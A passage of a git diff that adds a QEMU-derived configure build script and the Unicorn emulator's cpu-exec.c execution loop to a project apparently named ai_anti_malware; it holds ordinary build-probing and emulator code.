--enable-debug-tcg) debug_tcg="yes" + ;; + --disable-debug-tcg) debug_tcg="no" + ;; + --enable-debug) + # Enable debugging options that aren't excessively noisy + debug_tcg="yes" + debug="yes" + strip_opt="no" + ;; + --disable-strip) strip_opt="no" + ;; + --enable-pie) pie="yes" + ;; + --disable-pie) pie="no" + ;; + --enable-werror) werror="yes" + ;; + --disable-werror) werror="no" + ;; + --enable-stack-protector) stack_protector="yes" + ;; + --disable-stack-protector) stack_protector="no" + ;; + *) + echo "ERROR: unknown option $opt" + echo "Try '$0 --help' for more information" + exit 1 + ;; + esac +done + +case "$cpu" in + ppc) + CPU_CFLAGS="-m32" + LDFLAGS="-m32 $LDFLAGS" + ;; + ppc64) + CPU_CFLAGS="-m64" + LDFLAGS="-m64 $LDFLAGS" + ;; + sparc) + LDFLAGS="-m32 $LDFLAGS" + CPU_CFLAGS="-m32 -mcpu=ultrasparc" + ;; + sparc64) + LDFLAGS="-m64 $LDFLAGS" + CPU_CFLAGS="-m64 -mcpu=ultrasparc" + ;; + s390) + CPU_CFLAGS="-m31" + LDFLAGS="-m31 $LDFLAGS" + ;; + s390x) + CPU_CFLAGS="-m64" + LDFLAGS="-m64 $LDFLAGS" + ;; + i386) + CPU_CFLAGS="-m32" + LDFLAGS="-m32 $LDFLAGS" + cc_i386='$(CC) -m32' + ;; + x86_64) + CPU_CFLAGS="-m64" + LDFLAGS="-m64 $LDFLAGS" + cc_i386='$(CC) -m32' + ;; + x32) + CPU_CFLAGS="-mx32" + LDFLAGS="-mx32 $LDFLAGS" + cc_i386='$(CC) -m32' + ;; + # No special flags required for other host CPUs +esac + +QEMU_CFLAGS="$CPU_CFLAGS $QEMU_CFLAGS" +EXTRA_CFLAGS="$CPU_CFLAGS $EXTRA_CFLAGS" + +default_target_list="" + +mak_wilds="" + +if [ "$softmmu" = "yes" ]; then + mak_wilds="${mak_wilds} $source_path/default-configs/*-softmmu.mak" +fi + +for config in $mak_wilds; do + default_target_list="${default_target_list} $(basename "$config" .mak)" +done + +if test x"$show_help" = x"yes" ; then +cat << EOF + +Usage: configure [options] +Options: [defaults in brackets after descriptions] + +Standard options: + --help print this message + --target-list=LIST set target list (default: build everything) +$(echo Available targets: $default_target_list | \ + fold -s -w 53 | sed -e 's/^/ /') + +Advanced options (experts only): + --source-path=PATH path of source code [$source_path] + --cc=CC use C compiler CC [$cc] + --host-cc=CC use C compiler CC [$host_cc] for code run at + build time + --objcc=OBJCC use Objective-C compiler OBJCC [$objcc] + --extra-cflags=CFLAGS append extra C compiler flags QEMU_CFLAGS + --extra-ldflags=LDFLAGS append extra linker flags LDFLAGS + --make=MAKE use specified make [$make] + --static enable static build [$static] + --enable-debug-tcg enable TCG debugging + --disable-debug-tcg disable TCG debugging (default) + --enable-debug-info enable debugging information (default) + --disable-debug-info disable debugging information + --enable-debug enable common debug build options + --disable-strip disable stripping binaries + --disable-werror disable compilation abort on warning + --disable-stack-protector disable compiler-provided stack protection + --enable-pie build Position Independent Executables + --disable-pie do not build Position Independent Executables + --cpu=CPU Build for host CPU [$cpu] + +NOTE: The object files are built at the place where configure is launched +EOF +exit 0 +fi + +# Consult white-list to determine whether to enable werror +# by default. Only enable by default for git builds +z_version=`cut -f3 -d. $source_path/VERSION` + +if test -z "$werror" ; then + if test -d "$source_path/.git" -a \ + "$linux" = "yes" ; then + werror="yes" + else + werror="no" + fi +fi + +# check that the C compiler works. +cat > $TMPC <<EOF +int main(void) { return 0; } +EOF + +if compile_object ; then + : C compiler works ok +else + error_exit "\"$cc\" either does not exist or does not work" +fi + +gcc_flags="-Wold-style-declaration -Wold-style-definition -Wtype-limits" +gcc_flags="-Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers $gcc_flags" +gcc_flags="-Wmissing-include-dirs -Wempty-body -Wnested-externs $gcc_flags" +gcc_flags="-Wendif-labels $gcc_flags" +gcc_flags="-Wno-initializer-overrides $gcc_flags" +gcc_flags="-Wno-string-plus-int $gcc_flags" +# Note that we do not add -Werror to gcc_flags here, because that would +# enable it for all configure tests. If a configure test failed due +# to -Werror this would just silently disable some features, +# so it's too error prone. +cat > $TMPC << EOF +int main(void) { return 0; } +EOF +for flag in $gcc_flags; do + # Use the positive sense of the flag when testing for -Wno-wombat + # support (gcc will happily accept the -Wno- form of unknown + # warning options). + optflag="$(echo $flag | sed -e 's/^-Wno-/-W/')" + if compile_prog "-Werror $optflag" "" ; then + QEMU_CFLAGS="$QEMU_CFLAGS $flag" + fi +done + +if test "$stack_protector" != "no"; then + gcc_flags="-fstack-protector-strong -fstack-protector-all" + sp_on=0 + for flag in $gcc_flags; do + # We need to check both a compile and a link, since some compiler + # setups fail only on a .c->.o compile and some only at link time + if do_cc $QEMU_CFLAGS -Werror $flag -c -o $TMPO $TMPC && + compile_prog "-Werror $flag" ""; then + QEMU_CFLAGS="$QEMU_CFLAGS $flag" + sp_on=1 + break + fi + done + if test "$stack_protector" = yes; then + if test $sp_on = 0; then + error_exit "Stack protector not supported" + fi + fi +fi + +# Workaround for http://gcc.gnu.org/PR55489. Happens with -fPIE/-fPIC and +# large functions that use global variables. The bug is in all releases of +# GCC, but it became particularly acute in 4.6.x and 4.7.x. It is fixed in +# 4.7.3 and 4.8.0. We should be able to delete this at the end of 2013. +cat > $TMPC << EOF +#if __GNUC__ == 4 && (__GNUC_MINOR__ == 6 || (__GNUC_MINOR__ == 7 && __GNUC_PATCHLEVEL__ <= 2)) +int main(void) { return 0; } +#else +#error No bug in this compiler. +#endif +EOF +if compile_prog "-Werror -fno-gcse" "" ; then + TRANSLATE_OPT_CFLAGS=-fno-gcse +fi + +if test "$static" = "yes" ; then + if test "$pie" = "yes" ; then + error_exit "static and pie are mutually incompatible" + else + pie="no" + fi +fi + +if test "$pie" = ""; then + case "$cpu-$targetos" in + i386-Linux|x86_64-Linux|x32-Linux|i386-OpenBSD|x86_64-OpenBSD) + ;; + *) + pie="no" + ;; + esac +fi + +if test "$pie" != "no" ; then + cat > $TMPC << EOF + +#ifdef __linux__ +# define THREAD __thread +#else +# define THREAD +#endif + +static THREAD int tls_var; + +int main(void) { return tls_var; } + +EOF + if compile_prog "-fPIE -DPIE" "-pie"; then + QEMU_CFLAGS="-fPIE -DPIE $QEMU_CFLAGS" + LDFLAGS="-pie $LDFLAGS" + pie="yes" + if compile_prog "" "-Wl,-z,relro -Wl,-z,now" ; then + LDFLAGS="-Wl,-z,relro -Wl,-z,now $LDFLAGS" + fi + else + if test "$pie" = "yes"; then + error_exit "PIE not available due to missing toolchain support" + else + echo "Disabling PIE due to missing toolchain support" + pie="no" + fi + fi + + if compile_prog "-fno-pie" "-nopie"; then + CFLAGS_NOPIE="-fno-pie" + LDFLAGS_NOPIE="-nopie" + fi +fi + +########################################## +# __sync_fetch_and_and requires at least -march=i486. Many toolchains +# use i686 as default anyway, but for those that don't, an explicit +# specification is necessary + +if test "$cpu" = "i386"; then + cat > $TMPC << EOF +static int sfaa(int *ptr) +{ + return __sync_fetch_and_and(ptr, 0); +} + +int main(void) +{ + int val = 42; + val = __sync_val_compare_and_swap(&val, 0, 1); + sfaa(&val); + return val; +} +EOF + if ! compile_prog "" "" ; then + QEMU_CFLAGS="-march=i486 $QEMU_CFLAGS" + fi +fi + +######################################### +# Solaris specific configure tool chain decisions + +if test "$solaris" = "yes" ; then + if has ar; then + : + else + if test -f /usr/ccs/bin/ar ; then + error_exit "No path includes ar" \ + "Add /usr/ccs/bin to your path and rerun configure" + fi + error_exit "No path includes ar" + fi +fi + +if test -z "${target_list+xxx}" ; then + target_list="$default_target_list" +else + target_list=`echo "$target_list" | sed -e 's/,/ /g'` +fi + +# Check that we recognised the target name; this allows a more +# friendly error message than if we let it fall through. +for target in $target_list; do + case " $default_target_list " in + *" $target "*) + ;; + *) + error_exit "Unknown target name '$target'" + ;; + esac +done + +# see if system emulation was really requested +case " $target_list " in + *"-softmmu "*) softmmu=yes + ;; + *) softmmu=no + ;; +esac + +feature_not_found() { + feature=$1 + remedy=$2 + + error_exit "User requested feature $feature" \ + "configure was not able to find it." \ + "$remedy" +} + +# --- +# big/little endian test +cat > $TMPC << EOF +short big_endian[] = { 0x4269, 0x4765, 0x4e64, 0x4961, 0x4e00, 0, }; +short little_endian[] = { 0x694c, 0x7454, 0x654c, 0x6e45, 0x6944, 0x6e41, 0, }; +extern int foo(short *, short *); +int main(int argc, char *argv[]) { + return foo(big_endian, little_endian); +} +EOF + +if compile_object ; then + if grep -q BiGeNdIaN $TMPO ; then + bigendian="yes" + elif grep -q LiTtLeEnDiAn $TMPO ; then + bigendian="no" + else + echo big/little test failed + fi +else + echo big/little test failed +fi + +########################################## +# pthread probe +PTHREADLIBS_LIST="-pthread -lpthread -lpthreadGC2" + +pthread=no +cat > $TMPC << EOF +#include <pthread.h> +static void *f(void *p) { return NULL; } +int main(void) { + pthread_t thread; + pthread_create(&thread, 0, f, 0); + return 0; +} +EOF +if compile_prog "" "" ; then + pthread=yes +else + for pthread_lib in $PTHREADLIBS_LIST; do + if compile_prog "" "$pthread_lib" ; then + pthread=yes + found=no + for lib_entry in $LIBS; do + if test "$lib_entry" = "$pthread_lib"; then + found=yes + break + fi + done + if test "$found" = "no"; then + LIBS="$pthread_lib $LIBS" + fi + break + fi + done +fi + +if test "$mingw32" != yes -a "$pthread" = no; then + error_exit "pthread check failed" \ + "Make sure to have the pthread libs and headers installed." +fi + +# Search for bswap_32 function +byteswap_h=no +cat > $TMPC << EOF +#include <byteswap.h> +int main(void) { return bswap_32(0); } +EOF +if compile_prog "" "" ; then + byteswap_h=yes +fi + +# Search for bswap32 function +bswap_h=no +cat > $TMPC << EOF +#include <sys/endian.h> +#include <sys/types.h> +#include <machine/bswap.h> +int main(void) { return bswap32(0); } +EOF +if compile_prog "" "" ; then + bswap_h=yes +fi + +########################################## +# Do we need libm +cat > $TMPC << EOF +#include <math.h> +int main(int argc, char **argv) { return isnan(sin((double)argc)); } +EOF +if compile_prog "" "" ; then + : +elif compile_prog "" "-lm" ; then + LIBS="-lm $LIBS" +else + error_exit "libm check failed" +fi + +########################################## +# Do we need librt +# uClibc provides 2 versions of clock_gettime(), one with realtime +# support and one without. This means that the clock_gettime() don't +# need -lrt. We still need it for timer_create() so we check for this +# function in addition. +cat > $TMPC <<EOF +#include <signal.h> +#include <time.h> +int main(void) { + timer_create(CLOCK_REALTIME, NULL, NULL); + return clock_gettime(CLOCK_REALTIME, NULL); +} +EOF + +if compile_prog "" "" ; then + : +# we need pthread for static linking. use previous pthread test result +elif compile_prog "" "$pthread_lib -lrt" ; then + LIBS="$LIBS -lrt" +fi + +######################################## +# check if we have valgrind/valgrind.h + +valgrind_h=no +cat > $TMPC << EOF +#include <valgrind/valgrind.h> +int main(void) { + return 0; +} +EOF +if compile_prog "" "" ; then + valgrind_h=yes +fi + +######################################## +# check if cpuid.h is usable. + +cpuid_h=no +cat > $TMPC << EOF +#include <cpuid.h> +int main(void) { + unsigned a, b, c, d; + int max = __get_cpuid_max(0, 0); + + if (max >= 1) { + __cpuid(1, a, b, c, d); + } + + if (max >= 7) { + __cpuid_count(7, 0, a, b, c, d); + } + + return 0; +} +EOF +if compile_prog "" "" ; then + cpuid_h=yes +fi + +######################################## +# check if __[u]int128_t is usable. + +int128=no +cat > $TMPC << EOF +#if defined(__clang_major__) && defined(__clang_minor__) +# if ((__clang_major__ < 3) || (__clang_major__ == 3) && (__clang_minor__ < 2)) +# error __int128_t does not work in CLANG before 3.2 +# endif +#endif +__int128_t a; +__uint128_t b; +int main (void) { + a = a + b; + b = a * b; + a = a * a; + return 0; +} +EOF +if compile_prog "" "" ; then + int128=yes +fi + +# Now we've finished running tests it's OK to add -Werror to the compiler flags +if test "$werror" = "yes"; then + QEMU_CFLAGS="-Werror $QEMU_CFLAGS" +fi + +if test "$solaris" = "no" ; then + if $ld --version 2>/dev/null | grep "GNU ld" >/dev/null 2>/dev/null ; then + LDFLAGS="-Wl,--warn-common $LDFLAGS" + fi +fi + +# Use ASLR, no-SEH and DEP if available +if test "$mingw32" = "yes" ; then + for flag in --dynamicbase --no-seh --nxcompat; do + if $ld --help 2>/dev/null | grep ".$flag" >/dev/null 2>/dev/null ; then + LDFLAGS="-Wl,$flag $LDFLAGS" + fi + done +fi + +echo "Source path $source_path" +echo "C compiler $cc" +echo "Host C compiler $host_cc" +echo "Objective-C compiler $objcc" +echo "ARFLAGS $ARFLAGS" +echo "CFLAGS $CFLAGS" +echo "QEMU_CFLAGS $QEMU_CFLAGS" +echo "LDFLAGS $LDFLAGS" +echo "make $make" +echo "host CPU $cpu" +echo "host big endian $bigendian" +echo "target list $target_list" +echo "tcg debug enabled $debug_tcg" +echo "strip binaries $strip_opt" +echo "static build $static" +echo "mingw32 support $mingw32" +if test -n "$sparc_cpu"; then + echo "Target Sparc Arch $sparc_cpu" +fi +echo "PIE $pie" + +config_host_mak="config-host.mak" + +echo "# Automatically generated by configure - do not modify" > $config_host_mak +echo >> $config_host_mak + +echo all: >> $config_host_mak +echo "extra_cflags=$EXTRA_CFLAGS" >> $config_host_mak +echo "extra_ldflags=$EXTRA_LDFLAGS" >> $config_host_mak + +echo "ARCH=$ARCH" >> $config_host_mak + +if test "$debug_tcg" = "yes" ; then + echo "CONFIG_DEBUG_TCG=y" >> $config_host_mak +fi +if test "$strip_opt" = "yes" ; then + echo "STRIP=${strip}" >> $config_host_mak +fi +if test "$bigendian" = "yes" ; then + echo "HOST_WORDS_BIGENDIAN=y" >> $config_host_mak +fi +if test "$mingw32" = "yes" ; then + echo "CONFIG_WIN32=y" >> $config_host_mak + rc_version=`cat $source_path/VERSION` + version_major=${rc_version%%.*} + rc_version=${rc_version#*.} + version_minor=${rc_version%%.*} + rc_version=${rc_version#*.} + version_subminor=${rc_version%%.*} + version_micro=0 + echo "CONFIG_FILEVERSION=$version_major,$version_minor,$version_subminor,$version_micro" >> $config_host_mak + echo "CONFIG_PRODUCTVERSION=$version_major,$version_minor,$version_subminor,$version_micro" >> $config_host_mak +else + echo "CONFIG_POSIX=y" >> $config_host_mak +fi + +if test "$linux" = "yes" ; then + echo "CONFIG_LINUX=y" >> $config_host_mak +fi + +if test "$solaris" = "yes" ; then + echo "CONFIG_SOLARIS=y" >> $config_host_mak + echo "CONFIG_SOLARIS_VERSION=$solarisrev" >> $config_host_mak + if test "$needs_libsunmath" = "yes" ; then + echo "CONFIG_NEEDS_LIBSUNMATH=y" >> $config_host_mak + fi +fi +if test "$static" = "yes" ; then + echo "CONFIG_STATIC=y" >> $config_host_mak +fi +echo "SRC_PATH=$source_path" >> $config_host_mak +echo "TARGET_DIRS=$target_list" >> $config_host_mak +if test "$byteswap_h" = "yes" ; then + echo "CONFIG_BYTESWAP_H=y" >> $config_host_mak +fi +if test "$bswap_h" = "yes" ; then + echo "CONFIG_MACHINE_BSWAP_H=y" >> $config_host_mak +fi + +# XXX: suppress that +if [ "$bsd" = "yes" ] ; then + echo "CONFIG_BSD=y" >> $config_host_mak +fi + +if test "$valgrind_h" = "yes" ; then + echo "CONFIG_VALGRIND_H=y" >> $config_host_mak +fi + +if test "$cpuid_h" = "yes" ; then + echo "CONFIG_CPUID_H=y" >> $config_host_mak +fi + +if test "$int128" = "yes" ; then + echo "CONFIG_INT128=y" >> $config_host_mak +fi + +if test "$ARCH" = "sparc64" ; then + QEMU_INCLUDES="-I\$(SRC_PATH)/tcg/sparc $QEMU_INCLUDES" +elif test "$ARCH" = "s390x" ; then + QEMU_INCLUDES="-I\$(SRC_PATH)/tcg/s390 $QEMU_INCLUDES" +elif test "$ARCH" = "x86_64" -o "$ARCH" = "x32" ; then + QEMU_INCLUDES="-I\$(SRC_PATH)/tcg/i386 $QEMU_INCLUDES" +elif test "$ARCH" = "ppc64" ; then + QEMU_INCLUDES="-I\$(SRC_PATH)/tcg/ppc $QEMU_INCLUDES" +else + QEMU_INCLUDES="-I\$(SRC_PATH)/tcg/\$(ARCH) $QEMU_INCLUDES" +fi +QEMU_INCLUDES="-I\$(SRC_PATH)/tcg $QEMU_INCLUDES" + +echo "MAKE=$make" >> $config_host_mak +echo "CC=$cc" >> $config_host_mak +echo "CC_I386=$cc_i386" >> $config_host_mak +echo "HOST_CC=$host_cc" >> $config_host_mak +echo "OBJCC=$objcc" >> $config_host_mak +echo "AR=$ar" >> $config_host_mak +echo "ARFLAGS=$ARFLAGS" >> $config_host_mak +echo "AS=$as" >> $config_host_mak +echo "CPP=$cpp" >> $config_host_mak +echo "OBJCOPY=$objcopy" >> $config_host_mak +echo "LD=$ld" >> $config_host_mak +echo "NM=$nm" >> $config_host_mak +echo "CFLAGS=$CFLAGS" >> $config_host_mak +echo "CFLAGS_NOPIE=$CFLAGS_NOPIE" >> $config_host_mak +echo "QEMU_CFLAGS=$QEMU_CFLAGS" >> $config_host_mak +echo "QEMU_INCLUDES=$QEMU_INCLUDES" >> $config_host_mak +echo "LDFLAGS=$LDFLAGS" >> $config_host_mak +echo "LDFLAGS_NOPIE=$LDFLAGS_NOPIE" >> $config_host_mak +echo "LIBS+=$LIBS" >> $config_host_mak +echo "EXESUF=$EXESUF" >> $config_host_mak +echo "DSOSUF=$DSOSUF" >> $config_host_mak +echo "LDFLAGS_SHARED=$LDFLAGS_SHARED" >> $config_host_mak +echo "TRANSLATE_OPT_CFLAGS=$TRANSLATE_OPT_CFLAGS" >> $config_host_mak + +for target in $target_list; do +target_dir="$target" +config_target_mak=$target_dir/config-target.mak +target_name=`echo $target | cut -d '-' -f 1` +target_bigendian="no" + +case "$target_name" in + aarch64eb|armeb|lm32|m68k|microblaze|mips|mipsn32|mips64|moxie|or32|ppc|ppcemb|ppc64|ppc64abi32|s390x|sh4eb|sparc|sparc64|sparc32plus|xtensaeb) + target_bigendian=yes + ;; +esac +target_softmmu="yes" +case "$target" in + ${target_name}-softmmu) + target_softmmu="yes" + ;; + *) + error_exit "Target '$target' not recognised" + exit 1 + ;; +esac + +mkdir -p $target_dir +echo "# Automatically generated by configure - do not modify" > $config_target_mak + +bflt="no" + +TARGET_ARCH="$target_name" +TARGET_BASE_ARCH="" + +case "$target_name" in + i386) + ;; + x86_64) + TARGET_BASE_ARCH=i386 + ;; + alpha) + ;; + arm|armeb) + TARGET_ARCH=arm + bflt="yes" + ;; + aarch64|aarch64eb) + TARGET_BASE_ARCH=arm + TARGET_ARCH=aarch64 + bflt="yes" + ;; + cris) + ;; + lm32) + ;; + m68k) + bflt="yes" + ;; + microblaze|microblazeel) + TARGET_ARCH=microblaze + bflt="yes" + ;; + mips|mipsel) + TARGET_ARCH=mips + echo "TARGET_ABI_MIPSO32=y" >> $config_target_mak + ;; + mipsn32|mipsn32el) + TARGET_ARCH=mips64 + TARGET_BASE_ARCH=mips + echo "TARGET_ABI_MIPSN32=y" >> $config_target_mak + echo "TARGET_ABI32=y" >> $config_target_mak + ;; + mips64|mips64el) + TARGET_ARCH=mips64 + TARGET_BASE_ARCH=mips + echo "TARGET_ABI_MIPSN64=y" >> $config_target_mak + ;; + tricore) + ;; + moxie) + ;; + or32) + TARGET_ARCH=openrisc + TARGET_BASE_ARCH=openrisc + ;; + ppc) + ;; + ppcemb) + TARGET_BASE_ARCH=ppc + ;; + ppc64) + TARGET_BASE_ARCH=ppc + ;; + ppc64le) + TARGET_ARCH=ppc64 + TARGET_BASE_ARCH=ppc + ;; + ppc64abi32) + TARGET_ARCH=ppc64 + TARGET_BASE_ARCH=ppc + echo "TARGET_ABI32=y" >> $config_target_mak + ;; + sh4|sh4eb) + TARGET_ARCH=sh4 + bflt="yes" + ;; + sparc) + ;; + sparc64) + TARGET_BASE_ARCH=sparc + ;; + sparc32plus) + TARGET_ARCH=sparc64 + TARGET_BASE_ARCH=sparc + echo "TARGET_ABI32=y" >> $config_target_mak + ;; + s390x) + ;; + unicore32) + ;; + xtensa|xtensaeb) + TARGET_ARCH=xtensa + ;; + *) + error_exit "Unsupported target CPU" + ;; +esac +# TARGET_BASE_ARCH needs to be defined after TARGET_ARCH +if [ "$TARGET_BASE_ARCH" = "" ]; then + TARGET_BASE_ARCH=$TARGET_ARCH +fi + +symlink "$source_path/Makefile.target" "$target_dir/Makefile" + +upper() { + echo "$@"| LC_ALL=C tr '[a-z]' '[A-Z]' +} + +target_arch_name="`upper $TARGET_ARCH`" +echo "TARGET_$target_arch_name=y" >> $config_target_mak +echo "TARGET_NAME=$target_name" >> $config_target_mak +echo "TARGET_BASE_ARCH=$TARGET_BASE_ARCH" >> $config_target_mak +if test "$target_bigendian" = "yes" ; then + echo "TARGET_WORDS_BIGENDIAN=y" >> $config_target_mak +fi +if test "$target_softmmu" = "yes" ; then + echo "CONFIG_SOFTMMU=y" >> $config_target_mak +fi + +# generate QEMU_CFLAGS/LDFLAGS for targets + +cflags="" +ldflags="" + +case "$ARCH" in +alpha) + # Ensure there's only a single GP + cflags="-msmall-data $cflags" +;; +esac + +echo "LDFLAGS+=$ldflags" >> $config_target_mak +echo "QEMU_CFLAGS+=$cflags" >> $config_target_mak +echo "QEMU_CFLAGS+=-include ${target_name}.h" >> $config_target_mak + +done # for target in $targets + +# Save the configure command line for later reuse. +cat <<EOD >config.status +#!/bin/sh +# Generated by configure. +# Run this file to recreate the current configuration. +# Compiler output produced by configure, useful for debugging +# configure, is in config.log if it exists. +EOD +printf "exec" >>config.status +printf " '%s'" "$0" "$@" >>config.status +echo >>config.status +chmod +x config.status + +rm -r "$TMPDIR1" diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/cpu-exec.c b/ai_anti_malware/unicorn/unicorn-master/qemu/cpu-exec.c new file mode 100644 index 0000000..b4aa4bf --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/cpu-exec.c @@ -0,0 +1,449 @@ +/* + * emulator main execution loop + * + * Copyright (c) 2003-2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/>. + */ + +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +#include "tcg.h" +#include "sysemu/sysemu.h" + +#include "uc_priv.h" + +static tcg_target_ulong cpu_tb_exec(CPUState *cpu, uint8_t *tb_ptr); +static TranslationBlock *tb_find_slow(CPUArchState *env, target_ulong pc, + target_ulong cs_base, uint64_t flags); +static TranslationBlock *tb_find_fast(CPUArchState *env); +static void cpu_handle_debug_exception(CPUArchState *env); + +void cpu_loop_exit(CPUState *cpu) +{ + cpu->current_tb = NULL; + siglongjmp(cpu->jmp_env, 1); +} + +/* exit the current TB from a signal handler. The host registers are + restored in a state compatible with the CPU emulator + */ +void cpu_resume_from_signal(CPUState *cpu, void *puc) +{ + /* XXX: restore cpu registers saved in host registers */ + cpu->exception_index = -1; + siglongjmp(cpu->jmp_env, 1); +} + +/* main execution loop */ + +int cpu_exec(struct uc_struct *uc, CPUArchState *env) // qq +{ + CPUState *cpu = ENV_GET_CPU(env); + TCGContext *tcg_ctx = env->uc->tcg_ctx; + CPUClass *cc = CPU_GET_CLASS(uc, cpu); +#ifdef TARGET_I386 + X86CPU *x86_cpu = X86_CPU(uc, cpu); +#endif + int ret = 0, interrupt_request; + TranslationBlock *tb; + uint8_t *tc_ptr; + uintptr_t next_tb; + struct hook *hook; + + if (cpu->halted) { + if (!cpu_has_work(cpu)) { + return EXCP_HALTED; + } + + cpu->halted = 0; + } + + uc->current_cpu = cpu; + + /* As long as current_cpu is null, up to the assignment just above, + * requests by other threads to exit the execution loop are expected to + * be issued using the exit_request global. We must make sure that our + * evaluation of the global value is performed past the current_cpu + * value transition point, which requires a memory barrier as well as + * an instruction scheduling constraint on modern architectures. */ + smp_mb(); + + if (unlikely(uc->exit_request)) { + cpu->exit_request = 1; + } + + cc->cpu_exec_enter(cpu); + cpu->exception_index = -1; + env->invalid_error = UC_ERR_OK; + + /* prepare setjmp context for exception handling */ + for(;;) { + if (sigsetjmp(cpu->jmp_env, 0) == 0) { + if (uc->stop_request || uc->invalid_error) { + break; + } + + /* if an exception is pending, we execute it here */ + if (cpu->exception_index >= 0) { + //printf(">>> GOT INTERRUPT. exception idx = %x\n", cpu->exception_index); // qq + if (cpu->exception_index >= EXCP_INTERRUPT) { + /* exit request from the cpu execution loop */ + ret = cpu->exception_index; + if (ret == EXCP_DEBUG) { + cpu_handle_debug_exception(env); + } + break; + } else { + bool catched = false; +#if defined(CONFIG_USER_ONLY) + /* if user mode only, we simulate a fake exception + which will be handled outside the cpu execution + loop */ +#if defined(TARGET_I386) + cc->do_interrupt(cpu); +#endif + ret = cpu->exception_index; + break; +#else +#if defined(TARGET_X86_64) + if (env->exception_is_int) { + // point EIP to the next instruction after INT + env->eip = env->exception_next_eip; + } +#endif +#if defined(TARGET_MIPS) || defined(TARGET_MIPS64) + env->active_tc.PC = uc->next_pc; +#endif + if (uc->stop_interrupt && uc->stop_interrupt(cpu->exception_index)) { + // Unicorn: call registered invalid instruction callbacks + HOOK_FOREACH_VAR_DECLARE; + HOOK_FOREACH(uc, hook, UC_HOOK_INSN_INVALID) { + if (hook->to_delete) + continue; + catched = ((uc_cb_hookinsn_invalid_t)hook->callback)(uc, hook->user_data); + if (catched) + break; + } + if (!catched) + uc->invalid_error = UC_ERR_INSN_INVALID; + } else { + // Unicorn: call registered interrupt callbacks + HOOK_FOREACH_VAR_DECLARE; + HOOK_FOREACH(uc, hook, UC_HOOK_INTR) { + if (hook->to_delete) + continue; + ((uc_cb_hookintr_t)hook->callback)(uc, cpu->exception_index, hook->user_data); + catched = true; + } + if (!catched) + uc->invalid_error = UC_ERR_EXCEPTION; + } + + // Unicorn: If un-catched interrupt, stop executions. + if (!catched) { + cpu->halted = 1; + ret = EXCP_HLT; + break; + } + + cpu->exception_index = -1; +#endif + } + } + + next_tb = 0; /* force lookup of first TB */ + for(;;) { + interrupt_request = cpu->interrupt_request; + + if (unlikely(interrupt_request)) { + if (unlikely(cpu->singlestep_enabled & SSTEP_NOIRQ)) { + /* Mask out external interrupts for this step. */ + interrupt_request &= ~CPU_INTERRUPT_SSTEP_MASK; + } + + if (interrupt_request & CPU_INTERRUPT_DEBUG) { + cpu->interrupt_request &= ~CPU_INTERRUPT_DEBUG; + cpu->exception_index = EXCP_DEBUG; + cpu_loop_exit(cpu); + } + + if (interrupt_request & CPU_INTERRUPT_HALT) { + cpu->interrupt_request &= ~CPU_INTERRUPT_HALT; + cpu->halted = 1; + cpu->exception_index = EXCP_HLT; + cpu_loop_exit(cpu); + } +#if defined(TARGET_I386) + if (interrupt_request & CPU_INTERRUPT_INIT) { + cpu_svm_check_intercept_param(env, SVM_EXIT_INIT, 0); + do_cpu_init(x86_cpu); + cpu->exception_index = EXCP_HALTED; + cpu_loop_exit(cpu); + } +#else + if (interrupt_request & CPU_INTERRUPT_RESET) { + cpu_reset(cpu); + } +#endif + /* The target hook has 3 exit conditions: + False when the interrupt isn't processed, + True when it is, and we should restart on a new TB, + and via longjmp via cpu_loop_exit. */ + if (cc->cpu_exec_interrupt(cpu, interrupt_request)) { + next_tb = 0; + } + + /* Don't use the cached interrupt_request value, + do_interrupt may have updated the EXITTB flag. */ + if (cpu->interrupt_request & CPU_INTERRUPT_EXITTB) { + cpu->interrupt_request &= ~CPU_INTERRUPT_EXITTB; + /* ensure that no TB jump will be modified as + the program flow was changed */ + next_tb = 0; + } + } + + if (unlikely(cpu->exit_request)) { + cpu->exit_request = 0; + cpu->exception_index = EXCP_INTERRUPT; + cpu_loop_exit(cpu); + } + + tb = tb_find_fast(env); // qq + if (!tb) { // invalid TB due to invalid code? + uc->invalid_error = UC_ERR_FETCH_UNMAPPED; + ret = EXCP_HLT; + break; + } + + /* Note: we do it here to avoid a gcc bug on Mac OS X when + doing it in tb_find_slow */ + if (tcg_ctx->tb_ctx.tb_invalidated_flag) { + /* as some TB could have been invalidated because + of memory exceptions while generating the code, we + must recompute the hash index here */ + next_tb = 0; + tcg_ctx->tb_ctx.tb_invalidated_flag = 0; + } + + /* see if we can patch the calling TB. When the TB + spans two pages, we cannot safely do a direct + jump. */ + if (next_tb != 0 && tb->page_addr[1] == -1) { + tb_add_jump((TranslationBlock *)(next_tb & ~TB_EXIT_MASK), + next_tb & TB_EXIT_MASK, tb); + } + + /* cpu_interrupt might be called while translating the + TB, but before it is linked into a potentially + infinite loop and becomes env->current_tb. Avoid + starting execution if there is a pending interrupt. */ + cpu->current_tb = tb; + barrier(); + if (likely(!cpu->exit_request)) { + tc_ptr = tb->tc_ptr; + /* execute the generated code */ + next_tb = cpu_tb_exec(cpu, tc_ptr); // qq + + switch (next_tb & TB_EXIT_MASK) { + case TB_EXIT_REQUESTED: + /* Something asked us to stop executing + * chained TBs; just continue round the main + * loop. Whatever requested the exit will also + * have set something else (eg exit_request or + * interrupt_request) which we will handle + * next time around the loop. + */ + tb = (TranslationBlock *)(next_tb & ~TB_EXIT_MASK); + next_tb = 0; + break; + default: + break; + } + } + + cpu->current_tb = NULL; + /* reset soft MMU for next block (it can currently + only be set by a memory fault) */ + } /* for(;;) */ + } else { + /* Reload env after longjmp - the compiler may have smashed all + * local variables as longjmp is marked 'noreturn'. */ + cpu = uc->current_cpu; + env = cpu->env_ptr; + cc = CPU_GET_CLASS(uc, cpu); +#ifdef TARGET_I386 + x86_cpu = X86_CPU(uc, cpu); +#endif + } + } /* for(;;) */ + + // Unicorn: Clear any TCG exit flag that might have been left set by exit requests + uc->current_cpu->tcg_exit_req = 0; + + 